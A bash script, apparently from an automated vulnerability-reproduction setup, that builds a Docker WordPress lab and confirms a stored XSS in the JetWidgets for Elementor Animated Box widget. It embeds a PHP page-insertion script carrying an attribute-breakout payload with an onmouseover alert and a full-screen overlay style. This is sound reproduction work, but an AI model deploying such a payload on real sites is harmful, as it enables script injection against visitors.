#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

NETWORK="jetwidgets-repro-net"
DB="jetwidgets-repro-db"
WP="jetwidgets-repro-wp"
PORT=8080
WP_URL="http://$WP"          # Internal Docker network URL used for all verification.

log() {
    echo "[jetwidgets-repro] $*" | tee -a "$LOGS/reproduction_steps.log"
}

fail() {
    log "ERROR: $*"
    capture_container_logs
    write_manifest "not_reached" "$*"
    exit 1
}

capture_container_logs() {
    docker logs "$WP" > "$LOGS/wordpress.log" 2>&1 || true
    docker logs "$DB" > "$LOGS/mysql.log" 2>&1 || true
}

cleanup() {
    log "Cleaning up containers..."
    docker rm -f "$WP" "$DB" 2>/dev/null || true
    docker network rm "$NETWORK" 2>/dev/null || true
}

docker_health() {
    local name="$1"
    docker inspect --format='{{.State.Health.Status}}' "$name" 2>/dev/null | grep -q healthy
}

wait_for_http() {
    local url="$1"
    local max_wait="${2:-180}"
    log "Waiting for $url to respond..."
    for i in $(seq 1 "$max_wait"); do
        code=$(docker exec "$WP" curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null || true)
        if [[ "$code" == "200" || "$code" == "302" ]]; then
            log "HTTP $code from $url after ${i}s"
            return 0
        fi
        sleep 1
    done
    log "HTTP check failed for $url (last code: ${code:-000})"
    return 1
}

write_manifest() {
    local status="$1"
    local notes="$2"
    local health="false"
    local reached="false"
    local artifacts="[]"

    if [[ "$status" == "confirmed" ]]; then
        health="true"
        reached="true"
        artifacts='[
    "logs/reproduction_steps.log",
    "logs/wordpress.log",
    "logs/mysql.log",
    "logs/insert.log",
    "repro/artifacts/page.html",
    "repro/artifacts/page.headers"
  ]'
    fi

    cat > "$REPRO_DIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "viewer_document",
  "entrypoint_detail": "Published WordPress page rendered by Elementor + JetWidgets Animated Box widget",
  "service_started": true,
  "healthcheck_passed": $health,
  "target_path_reached": $reached,
  "runtime_stack": ["mysql:8.0", "wordpress:6.7-php8.1-apache", "elementor-3.27.5", "jetwidgets-for-elementor-1.0.21"],
  "proof_artifacts": $artifacts,
  "notes": "$notes"
}
JSON
}

# Clean up any previous run.
cleanup
trap cleanup EXIT

log "Starting reproduction environment for JetWidgets For Elementor CVE-2026-11380"

# Create network.
docker network create "$NETWORK" || true

log "Starting MySQL container..."
docker run -d --name "$DB" --network "$NETWORK" \
    -e MYSQL_ROOT_PASSWORD=rootpass \
    -e MYSQL_DATABASE=wordpress \
    -e MYSQL_USER=wordpress \
    -e MYSQL_PASSWORD=wordpress \
    --health-cmd="mysqladmin ping --silent" \
    --health-interval=5s \
    mysql:8.0 \
    --default-authentication-plugin=mysql_native_password >/dev/null

log "Waiting for MySQL to be healthy..."
for i in $(seq 1 120); do
    if docker_health "$DB"; then
        break
    fi
    sleep 1
done
if ! docker_health "$DB"; then
    fail "MySQL did not become healthy"
fi

log "Starting WordPress container..."
docker run -d --name "$WP" --network "$NETWORK" \
    -p "${PORT}:80" \
    -e WORDPRESS_DB_HOST="$DB:3306" \
    -e WORDPRESS_DB_USER=wordpress \
    -e WORDPRESS_DB_PASSWORD=wordpress \
    -e WORDPRESS_DB_NAME=wordpress \
    wordpress:6.7-php8.1-apache >/dev/null

log "Waiting for WordPress HTTP service..."
if ! wait_for_http "$WP_URL/wp-admin/install.php" 180; then
    fail "WordPress did not become reachable"
fi

log "Installing WP-CLI..."
if ! docker exec "$WP" bash -c "curl -fsSL -o /usr/local/bin/wp https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x /usr/local/bin/wp" >/dev/null 2>&1; then
    fail "WP-CLI installation failed"
fi

log "Installing WordPress..."
if ! docker exec "$WP" wp --allow-root core install \
    --url="$WP_URL" \
    --title="JetWidgets Repro" \
    --admin_user=admin \
    --admin_password=admin123 \
    --admin_email=admin@example.com \
    >/dev/null; then
    fail "WordPress core installation failed"
fi

log "Installing and activating Elementor 3.27.5..."
if ! docker exec "$WP" wp --allow-root plugin install elementor --version=3.27.5 --activate >/dev/null 2>&1; then
    fail "Elementor installation failed"
fi

log "Installing and activating JetWidgets For Elementor 1.0.21..."
if ! docker exec "$WP" wp --allow-root plugin install jetwidgets-for-elementor --version=1.0.21 --activate >/dev/null 2>&1; then
    fail "JetWidgets installation failed"
fi

log "Creating author user..."
docker exec "$WP" wp --allow-root user create author author@example.com --role=author --user_pass=author123 >/dev/null 2>&1 || true

log "Creating malicious page with the Animated Box widget..."
cat > "$ARTIFACTS/insert_page.php" <<'PHP'
<?php
require_once 'wp-load.php';

$author = get_user_by( 'login', 'author' );
$author_id = $author ? $author->ID : 1;

$payload = 'jw-box-effect-1" style="position:fixed;width:100%;height:100%;top:0;left:0" onmouseover="alert(1)" data-x="';

$data = array(
    array(
        'id'       => 'section_' . uniqid(),
        'elType'   => 'section',
        'settings' => array(),
        'elements' => array(
            array(
                'id'       => 'column_' . uniqid(),
                'elType'   => 'column',
                'settings' => array(),
                'elements' => array(
                    array(
                        'id'         => 'widget_' . uniqid(),
                        'elType'     => 'widget',
                        'widgetType' => 'jw-animated-box',
                        'settings'   => array(
                            'animation_effect' => $payload,
                            'front_side_title' => 'Front',
                            'back_side_title'  => 'Back',
                        ),
                    ),
                ),
            ),
        ),
    ),
);

$page = array(
    'post_title'   => 'XSS Repro',
    'post_status'  => 'publish',
    'post_type'    => 'page',
    'post_author'  => $author_id,
);

$post_id = wp_insert_post( $page );
if ( is_wp_error( $post_id ) ) {
    echo 'INSERT_ERROR=' . $post_id->get_error_message() . "\n";
    exit( 1 );
}

update_post_meta( $post_id, '_elementor_edit_mode', 'builder' );
update_post_meta( $post_id, '_elementor_template_type', 'wp-page' );
update_post_meta( $post_id, '_elementor_data', wp_slash( wp_json_encode( $data ) ) );

echo 'POST_ID=' . $post_id . "\n";
echo 'URL=' . get_permalink( $post_id ) . "\n";
PHP

docker cp "$ARTIFACTS/insert_page.php" "$WP":/var/www/html/insert_page.php >/dev/null
docker exec "$WP" php /var/www/html/insert_page.php > "$LOGS/insert.log" 2>&1

if grep -q 'INSERT_ERROR=' "$LOGS/insert.log"; then
    fail "Page insertion failed: $(cat "$LOGS/insert.log")"
fi

POST_ID=$(grep '^POST_ID=' "$LOGS/insert.log" | cut -d= -f2 | tail -n1)
PAGE_URL=$(grep '^URL=' "$LOGS/insert.log" | cut -d= -f2 | tail -n1)

log "Created page ID=$POST_ID at $PAGE_URL"

log "Fetching rendered page..."
# Fetch both the rendered body and the response headers from inside the Docker network.
docker exec "$WP" curl -s -L -D /var/www/html/page.headers -o /var/www/html/page.html "$PAGE_URL"
# Copy artifacts to the host bundle.
docker cp "$WP":/var/www/html/page.html "$ARTIFACTS/page.html"
docker cp "$WP":/var/www/html/page.headers "$ARTIFACTS/page.headers"

if grep -q 'onmouseover="alert(1)"' "$ARTIFACTS/page.html" && \
   grep -q 'style="position:fixed;width:100%;height:100%;top:0;left:0"' "$ARTIFACTS/page.html"; then
    log "VULNERABILITY CONFIRMED: stored XSS payload rendered in the published page."
    capture_container_logs
    write_manifest "confirmed" "Injected animation_effect broke out of the class attribute and added onmouseover/style attributes in the rendered page."
    exit 0
else
    log "Vulnerability NOT reproduced on rendered page."
    capture_container_logs
    write_manifest "not_reached" "Injected attributes were not found in the rendered page HTML."
    exit 1
fi
